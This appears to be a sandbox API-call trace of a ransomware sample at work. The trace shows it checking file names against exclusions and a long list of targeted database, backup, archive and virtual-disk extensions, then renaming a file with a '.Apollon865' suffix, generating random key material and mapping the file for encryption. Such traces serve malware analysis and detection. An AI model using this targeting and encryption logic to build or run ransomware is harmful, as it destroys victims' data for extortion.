	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="perflogs") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.073] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0082.073] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned 70
	[0082.073] lstrcpyW (in: lpString1=0x119e670, lpString2="VISBRRES.DLL.trx_dll" | out: lpString1="VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll"
	[0082.073] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0082.073] lstrlenW (lpString="Apollon865") returned 10
	[0082.073] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.073] lstrlenW (lpString=".dll") returned 4
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.073] lstrlenW (lpString=".lnk") returned 4
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.073] lstrlenW (lpString=".ini") returned 4
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.073] lstrlenW (lpString=".sys") returned 4
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.073] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0082.073] lstrlenW (lpString="bak") returned 3
	[0082.073] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.073] lstrlenW (lpString="ba_") returned 3
	[0082.073] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.073] lstrlenW (lpString="dbb") returned 3
	[0082.073] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.073] lstrlenW (lpString="vmdk") returned 4
	[0082.073] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.073] lstrlenW (lpString="rar") returned 3
	[0082.073] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.073] lstrlenW (lpString="zip") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.074] lstrlenW (lpString="tgz") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.074] lstrlenW (lpString="vbox") returned 4
	[0082.074] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.074] lstrlenW (lpString="vdi") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.074] lstrlenW (lpString="vhd") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.074] lstrlenW (lpString="vhdx") returned 4
	[0082.074] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.074] lstrlenW (lpString="avhd") returned 4
	[0082.074] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.074] lstrlenW (lpString="db") returned 2
	[0082.074] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.074] lstrlenW (lpString="db2") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.074] lstrlenW (lpString="db3") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.074] lstrlenW (lpString="dbf") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.074] lstrlenW (lpString="mdf") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.074] lstrlenW (lpString="mdb") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.074] lstrlenW (lpString="sql") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.074] lstrlenW (lpString="sqlite") returned 6
	[0082.074] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.074] lstrlenW (lpString="sqlite3") returned 7
	[0082.074] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.074] lstrlenW (lpString="sqlitedb") returned 8
	[0082.074] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.074] lstrlenW (lpString="xml") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.074] lstrlenW (lpString="$er") returned 3
	[0082.074] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.075] lstrlenW (lpString="4dd") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.075] lstrlenW (lpString="4dl") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.075] lstrlenW (lpString="^^^") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.075] lstrlenW (lpString="abs") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.075] lstrlenW (lpString="abx") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.075] lstrlenW (lpString="accdb") returned 5
	[0082.075] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.075] lstrlenW (lpString="accdc") returned 5
	[0082.075] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.075] lstrlenW (lpString="accde") returned 5
	[0082.075] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.075] lstrlenW (lpString="accdr") returned 5
	[0082.075] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.075] lstrlenW (lpString="accdt") returned 5
	[0082.075] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.075] lstrlenW (lpString="accdw") returned 5
	[0082.075] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.075] lstrlenW (lpString="accft") returned 5
	[0082.075] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.075] lstrlenW (lpString="adb") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.075] lstrlenW (lpString="adb") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.075] lstrlenW (lpString="ade") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.075] lstrlenW (lpString="adf") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.075] lstrlenW (lpString="adn") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.075] lstrlenW (lpString="adp") returned 3
	[0082.075] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.075] lstrlenW (lpString="alf") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.076] lstrlenW (lpString="ask") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.076] lstrlenW (lpString="btr") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.076] lstrlenW (lpString="cat") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.076] lstrlenW (lpString="cdb") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.076] lstrlenW (lpString="ckp") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.076] lstrlenW (lpString="cma") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.076] lstrlenW (lpString="cpd") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.076] lstrlenW (lpString="dacpac") returned 6
	[0082.076] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.076] lstrlenW (lpString="dad") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.076] lstrlenW (lpString="dadiagrams") returned 10
	[0082.076] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.076] lstrlenW (lpString="daschema") returned 8
	[0082.076] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.076] lstrlenW (lpString="db-journal") returned 10
	[0082.076] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.076] lstrlenW (lpString="db-shm") returned 6
	[0082.076] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.076] lstrlenW (lpString="db-wal") returned 6
	[0082.076] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.076] lstrlenW (lpString="dbc") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.076] lstrlenW (lpString="dbs") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.076] lstrlenW (lpString="dbt") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.076] lstrlenW (lpString="dbv") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.076] lstrlenW (lpString="dbx") returned 3
	[0082.076] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.077] lstrlenW (lpString="dcb") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.077] lstrlenW (lpString="dct") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.077] lstrlenW (lpString="dcx") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.077] lstrlenW (lpString="ddl") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.077] lstrlenW (lpString="dlis") returned 4
	[0082.077] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.077] lstrlenW (lpString="dp1") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.077] lstrlenW (lpString="dqy") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.077] lstrlenW (lpString="dsk") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.077] lstrlenW (lpString="dsn") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.077] lstrlenW (lpString="dtsx") returned 4
	[0082.077] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.077] lstrlenW (lpString="dxl") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.077] lstrlenW (lpString="eco") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.077] lstrlenW (lpString="ecx") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.077] lstrlenW (lpString="edb") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.077] lstrlenW (lpString="epim") returned 4
	[0082.077] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.077] lstrlenW (lpString="fcd") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.077] lstrlenW (lpString="fdb") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.077] lstrlenW (lpString="fic") returned 3
	[0082.077] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.077] lstrlenW (lpString="flexolibrary") returned 12
	[0082.078] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.078] lstrlenW (lpString="fm5") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.078] lstrlenW (lpString="fmp") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.078] lstrlenW (lpString="fmp12") returned 5
	[0082.078] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.078] lstrlenW (lpString="fmpsl") returned 5
	[0082.078] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.078] lstrlenW (lpString="fol") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.078] lstrlenW (lpString="fp3") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.078] lstrlenW (lpString="fp4") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.078] lstrlenW (lpString="fp5") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.078] lstrlenW (lpString="fp7") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.078] lstrlenW (lpString="fpt") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.078] lstrlenW (lpString="frm") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.078] lstrlenW (lpString="gdb") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.078] lstrlenW (lpString="gdb") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.078] lstrlenW (lpString="grdb") returned 4
	[0082.078] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.078] lstrlenW (lpString="gwi") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.078] lstrlenW (lpString="hdb") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.078] lstrlenW (lpString="his") returned 3
	[0082.078] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.078] lstrlenW (lpString="ib") returned 2
	[0082.078] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.078] lstrlenW (lpString="idb") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.079] lstrlenW (lpString="ihx") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.079] lstrlenW (lpString="itdb") returned 4
	[0082.079] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.079] lstrlenW (lpString="itw") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.079] lstrlenW (lpString="jet") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.079] lstrlenW (lpString="jtx") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.079] lstrlenW (lpString="kdb") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.079] lstrlenW (lpString="kexi") returned 4
	[0082.079] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.079] lstrlenW (lpString="kexic") returned 5
	[0082.079] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.079] lstrlenW (lpString="kexis") returned 5
	[0082.079] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.079] lstrlenW (lpString="lgc") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.079] lstrlenW (lpString="lwx") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.079] lstrlenW (lpString="maf") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.079] lstrlenW (lpString="maq") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.079] lstrlenW (lpString="mar") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.079] lstrlenW (lpString="marshal") returned 7
	[0082.079] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.079] lstrlenW (lpString="mas") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.079] lstrlenW (lpString="mav") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.079] lstrlenW (lpString="maw") returned 3
	[0082.079] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.079] lstrlenW (lpString="mdbhtml") returned 7
	[0082.080] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.080] lstrlenW (lpString="mdn") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.080] lstrlenW (lpString="mdt") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.080] lstrlenW (lpString="mfd") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.080] lstrlenW (lpString="mpd") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.080] lstrlenW (lpString="mrg") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.080] lstrlenW (lpString="mud") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.080] lstrlenW (lpString="mwb") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.080] lstrlenW (lpString="myd") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.080] lstrlenW (lpString="ndf") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.080] lstrlenW (lpString="nnt") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.080] lstrlenW (lpString="nrmlib") returned 6
	[0082.080] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.080] lstrlenW (lpString="ns2") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.080] lstrlenW (lpString="ns3") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.080] lstrlenW (lpString="ns4") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.080] lstrlenW (lpString="nsf") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.080] lstrlenW (lpString="nv") returned 2
	[0082.080] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.080] lstrlenW (lpString="nv2") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.080] lstrlenW (lpString="nwdb") returned 4
	[0082.080] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.080] lstrlenW (lpString="nyf") returned 3
	[0082.080] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.081] lstrlenW (lpString="odb") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.081] lstrlenW (lpString="odb") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.081] lstrlenW (lpString="oqy") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.081] lstrlenW (lpString="ora") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.081] lstrlenW (lpString="orx") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.081] lstrlenW (lpString="owc") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.081] lstrlenW (lpString="p96") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.081] lstrlenW (lpString="p97") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.081] lstrlenW (lpString="pan") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.081] lstrlenW (lpString="pdb") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.081] lstrlenW (lpString="pdm") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.081] lstrlenW (lpString="pnz") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.081] lstrlenW (lpString="qry") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.081] lstrlenW (lpString="qvd") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.081] lstrlenW (lpString="rbf") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.081] lstrlenW (lpString="rctd") returned 4
	[0082.081] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.081] lstrlenW (lpString="rod") returned 3
	[0082.081] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.081] lstrlenW (lpString="rodx") returned 4
	[0082.081] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.081] lstrlenW (lpString="rpd") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.082] lstrlenW (lpString="rsd") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.082] lstrlenW (lpString="sas7bdat") returned 8
	[0082.082] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.082] lstrlenW (lpString="sbf") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.082] lstrlenW (lpString="scx") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.082] lstrlenW (lpString="sdb") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.082] lstrlenW (lpString="sdc") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.082] lstrlenW (lpString="sdf") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.082] lstrlenW (lpString="sis") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.082] lstrlenW (lpString="spq") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.082] lstrlenW (lpString="te") returned 2
	[0082.082] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.082] lstrlenW (lpString="teacher") returned 7
	[0082.082] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.082] lstrlenW (lpString="tmd") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.082] lstrlenW (lpString="tps") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.082] lstrlenW (lpString="trc") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.082] lstrlenW (lpString="trc") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.082] lstrlenW (lpString="trm") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.082] lstrlenW (lpString="udb") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.082] lstrlenW (lpString="udl") returned 3
	[0082.082] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.083] lstrlenW (lpString="usr") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.083] lstrlenW (lpString="v12") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.083] lstrlenW (lpString="vis") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.083] lstrlenW (lpString="vpd") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.083] lstrlenW (lpString="vvv") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.083] lstrlenW (lpString="wdb") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.083] lstrlenW (lpString="wmdb") returned 4
	[0082.083] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.083] lstrlenW (lpString="wrk") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.083] lstrlenW (lpString="xdb") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.083] lstrlenW (lpString="xld") returned 3
	[0082.083] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.083] lstrlenW (lpString="xmlff") returned 5
	[0082.083] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.083] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.Apollon865") returned 83
	[0082.083] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.086] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.087] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=26976) returned 1
	[0082.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.087] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.088] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.088] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.088] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c60, lpName=0x0) returned 0x15c
	[0082.091] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c60) returned 0x100000
	[0082.097] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.098] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.098] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
